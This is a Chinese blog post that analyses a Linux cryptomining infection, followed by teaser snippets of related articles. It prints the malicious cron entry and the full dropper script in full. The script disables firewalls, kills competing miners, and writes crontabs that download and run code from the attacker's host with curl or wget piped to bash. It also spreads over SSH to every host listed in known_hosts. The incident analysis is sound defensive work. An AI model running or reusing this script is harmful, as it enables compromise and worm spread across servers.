解析一个挖矿病毒

服务器 cpu 异常

查看进程

将进程杀掉,文件删除,一会又起来了

所以检查 定时任务

>  cat /var/spool/cron/apache
* * * * * wget -q -O - http://107.174.47.156/mr.sh | bash -sh > /dev/null 2>&1

  果然有个定时任务

把定时任务清掉,一会又起来,于是把定时任务的脚本拉出来研究了一下(http://107.174.47.156/mr.sh)

#!/bin/sh
mkdir /var/tmp
chmod 777 /var/tmp/kworkerds
echo -e "\n0.0.0.0 pastebin.com" >> /etc/hosts
touch /etc/ld.so.preload
chattr -i /usr/bin/wget
chmod 755 /usr/bin/wget
chattr -i /usr/bin/curl
chmod 755 /usr/bin/curl
/etc/init.d/iptables stop
service iptables stop
SuSEfirewall2 stop
reSuSEfirewall2 stop
pkill -f sysxlj
pkill -f jourxlv
pkill -f sustes
touch /etc/ld.so.preload
netstat -antp | grep ‘56415‘ | grep ‘ESTABLISHED\|SYN_SENT‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ‘139.99.120.75‘ | grep ‘ESTABLISHED\|SYN_SENT‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /usr/lib/void.so
rm -rf /etc/voidonce.sh
rm -rf /usr/local/lib/libjdk.so
rm -rf /usr/local/lib/libntp.so
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk ‘{print $2}‘|xargs kill -9
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘(curl -fsSL http://107.174.47.156/mr.sh||wget -q -O- http://107.174.47.156/mr.sh)|bash -sh >/dev/null 2>&1 &‘ & done
fi

for file in /home/*
do
    if test -d $file
    then
        if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
            for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘(curl -fsSL http://107.174.47.156/mr.sh||wget -q -O- http://107.174.47.156/mr.sh)|bash -sh >/dev/null 2>&1 &‘ & done
        fi
    fi
done
sed -i ‘$d‘ /etc/crontab
rm -rf /lib64/library1.so
rm -rf /usr/lib64/library1.so
iptables -I OUTPUT -s 167.99.166.61 -j DROP
iptables -I INPUT -s 167.99.166.61 -j DROP
iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
rm -rf /etc/cron.monthly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
rm -rf /usr/local/bin/dns
echo "" > /etc/crontab
echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/apache
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
chkconfig --del netdns
pkill -f netdns
echo "" > /etc/cron.d/system
chmod 777 /var/tmp
rm -rf /usr/local/bin/dns
rm -rf /usr/sbin/netdns
rm -rf /etc/init.d/netdns
rm -rf /etc/cron.monthly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
chattr -i /usr/local/lib/libntpd.so
chmod 777 /usr/local/lib/libntpd.so
rm -rf /usr/local/lib/libntpd.so
sed -i ‘/libntpd.so/d‘  /etc/ld.so.preload
crontab -l | sed ‘/pastebin.com/d‘ | crontab -
netstat -antp | grep ‘27.155.87.59\|51.38.133.232‘ | grep ‘ESTABLISHED‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ‘27.155.87.59\|51.38.133.232‘ | grep ‘SYN_SENT‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ‘104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232‘ | grep ‘ESTABLISHED‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ‘104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232‘ | grep ‘CLOSE_WAIT‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ‘104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232‘ | grep ‘SYN_SENT‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ‘121.18.238.56\|51.38.133.232‘ | grep ‘ESTABLISHED‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ‘121.18.238.56\|51.38.133.232‘ | grep ‘SYN_SENT‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ‘103.99.115.220\|51.38.133.232‘ | grep ‘SYN_SENT‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ‘103.99.115.220\|51.38.133.232‘ | grep ‘ESTABLISHED‘ | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
netstat -antp | grep ‘202.144.193.110:3333\|51.38.133.232‘  | awk ‘{print $7}‘ | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
echo -e "*/1 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/apache
echo -e "*/30 * * * *	(curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * *	(curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
(curl -fsSL --connect-timeout 120 http://107.174.47.156/11 -o /etc/cron.hourly/oanacroner1||http://107.174.47.156/11 -O /etc/cron.hourly/oanacroner1) && chmod 755 /etc/cron.hourly/oanacroner1
rm -rf /tmp/a7b104c270
rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
netstat -anp | grep :13531 |awk ‘{print $7}‘| awk -F‘[/]‘ ‘{print $1}‘ | xargs kill -9
chmod 777 /var/tmp/sustse
ps aux | grep -vw ‘kworkerds\|sustse‘ | awk ‘{if($3>30.0) print $2}‘ | while read procid
do
kill -9 $procid
done
ps ax | grep /tmp/ | grep -v grep | grep -v ‘kworkerds\|sustse\|kworkerds\|sustse\|ppl‘ | awk ‘{print $1}‘ | xargs kill -9
ps ax | grep ‘wc.conf\|wq.conf\|wm.conf‘ | grep -v grep | grep -v ‘kworkerds\|sustse\|kworkerds\|sustse\|ppl‘ | awk ‘{print $1}‘ | xargs kill -9
netstat -ant|grep ‘185.161.70.34:3333\|154.16.67.133:80\|205.185.122.99:3333‘|grep ‘ESTABLISHED‘|grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -s http://107.174.47.156/2mr.sh | bash -sh || wget -q -O - http://107.174.47.156/2mr.sh | bash -sh
fi
sleep 2
if crontab -l | grep -q "107.174.47.156"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
	(crontab -l 2>/dev/null; echo "* * * * * $LDR http://107.174.47.156/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
rm -rf /var/tmp/jrm
rm -rf /tmp/jrm
pkill -f 185.222.210.59
pkill -f 95.142.40.81
pkill -f 192.99.142.232
chmod 777 /var/tmp/sustse
crontab -l | sed ‘/185.222.210.59/d‘ | crontab -

  内容大家自己看吧 ,看完就知道该怎么操作了 : 把 authorized_keys 和 known_hosts 统统删掉

原文地址:https://www.cnblogs.com/yorkyang/p/12069271.html

时间: 2024-07-30 11:37:55

解析一个挖矿病毒的相关文章

阿里云服务器被挖矿病毒minerd入侵的解决方法

早晨上班像往常一样对服务器进行例行巡检,发现一台阿里云服务器的CPU的资源占用很高,到底是怎么回事呢,赶紧用top命令查看了一下,发现是一个名为minerd的进程占用了很高的CPU资源,minerd之前听说过,是一种挖矿病毒,没有想到我负责的服务器会中这种病毒啊,赶紧的寻找解决的方法.下面是我把minerd给杀掉的过程,希望对大家有帮助. 步骤如下: 1.关闭访问挖矿服务器的访问 [[email protected]~]# iptables -A INPUT -s xmr.crypto-pool

记一次手动清理Linux挖矿病毒

时间:2018年5月16日 起因:某公司的运维人员在绿盟的IPS上监测到有挖"门罗币"的恶意事件,受影响的机器为公司的大数据服务器以及其他Linux服务器. 我也是赶鸭子上架第一次解决运行在Linux上的挖矿病毒事件,由于当时自己没有专门的Linux挖矿的清理工具,便开始分析IPS上提供的信息. 由于当时的部门对数据的保护比较敏感,并没有对当时操作进行拍照截图,我也只能根据当时我记录的笔记和依稀的记忆来梳理整个事件. IPS提供的信息: 1:受到影响的IP 2:受影响主机连接的地址(1

Window应急响应(四):挖矿病毒

0x00 前言 ? 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升高,风扇噪声增大等问题. 0x01 应急场景 ? 某天上午重启服务器的时候,发现程序启动很慢,打开任务管理器,发现cpu被占用接近100%,服务器资源占用严重. 0x02 事件分析 ? 登录网站服务器进行排查,发现多个异常进程: 分析进程参数: wmic process get caption,co

解决挖矿病毒占用cpu以及误删 ld-linux-x86-64.so.2 文件的问题

上次已经被抓去挖矿了当了一次旷工了,本以为解决了,没想到竟然死灰复燃. 这次占用cpu的依然是一个ld-linux的进程,kill掉之后同样就查了关于test用户的进程,果然,test用户的进程有100+个,比不上上次,还是用上次的脚本,将test的进程也kill掉.为防止恶意添加用户,将/etc/passwd 文件里的test用户删除后,给该文件添加了隐藏权限 i ,具体功能不知道的可以查下,此处不多介绍.再把主进程ld-linux干掉之后cpu直接降下来. 这已经是第二次了,为了防止还有第三

Linux应急响应(三):挖矿病毒

0x00 前言 ? 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue).web攻击多种漏洞(如Tomcat弱口令攻击.Weblogic WLS组件漏洞.Jboss反序列化漏洞.Struts2远程命令执行等),导致大量服务器被感染挖矿程序的现象 . 0x01 应急场景 ? 某天,安全管理员在登录安全设备巡检时,发现某台

挖矿病毒DDG的清除

注:以下所有操作均在CentOS 7.2 x86_64位系统下完成. 今天突然收到“阿里云”的告警短信: 尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖矿程序,建议您立即登录云安全中心控制台-安全告警查看事件详情,并根据事件建议的方案进行处理. 于是登上“云盾云安全中心”查看,发现安全提示: 点进去查看详细信息: 网上查了下,发现这是一款在Linux/Windows双平台的挖矿病毒木马,该木马是通过Redis漏洞传播的挖矿木马DDG的变种,使用Go

一个挖矿样本分析

@font-face{ font-family:"Times New Roman"; } @font-face{ font-family:"宋体"; } @font-face{ font-family:"Calibri"; } @font-face{ font-family:"Calibri Light"; } @list l0:level1{ mso-level-number-format:decimal; mso-leve

今天中了一个脚本病毒。把我的所有 html 加了 vbs 脚本,WriteData 是什么鬼?

今天中了一个脚本病毒.把我的所有 html 加了 vbs 脚本: WriteData 是什么鬼? <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000

JSON.parse() 方法解析一个JSON字符串

JSON.parse() 方法解析一个JSON字符串,构造由字符串描述的JavaScript值或对象.可以提供可选的reviver函数以在返回之前对所得到的对象执行变换. 语法EDIT JSON.parse(text[, reviver]) 参数 text 要被解析成JavaSctipt值的字符串,查看 JSON 对象学习的JSON 语法的说明. reviver 可选 如果是一个函数,则规定了原始值如何被解析改造,在被返回之前. 返回值 Object对应给定的JSON文本. 异常 若被解析的 J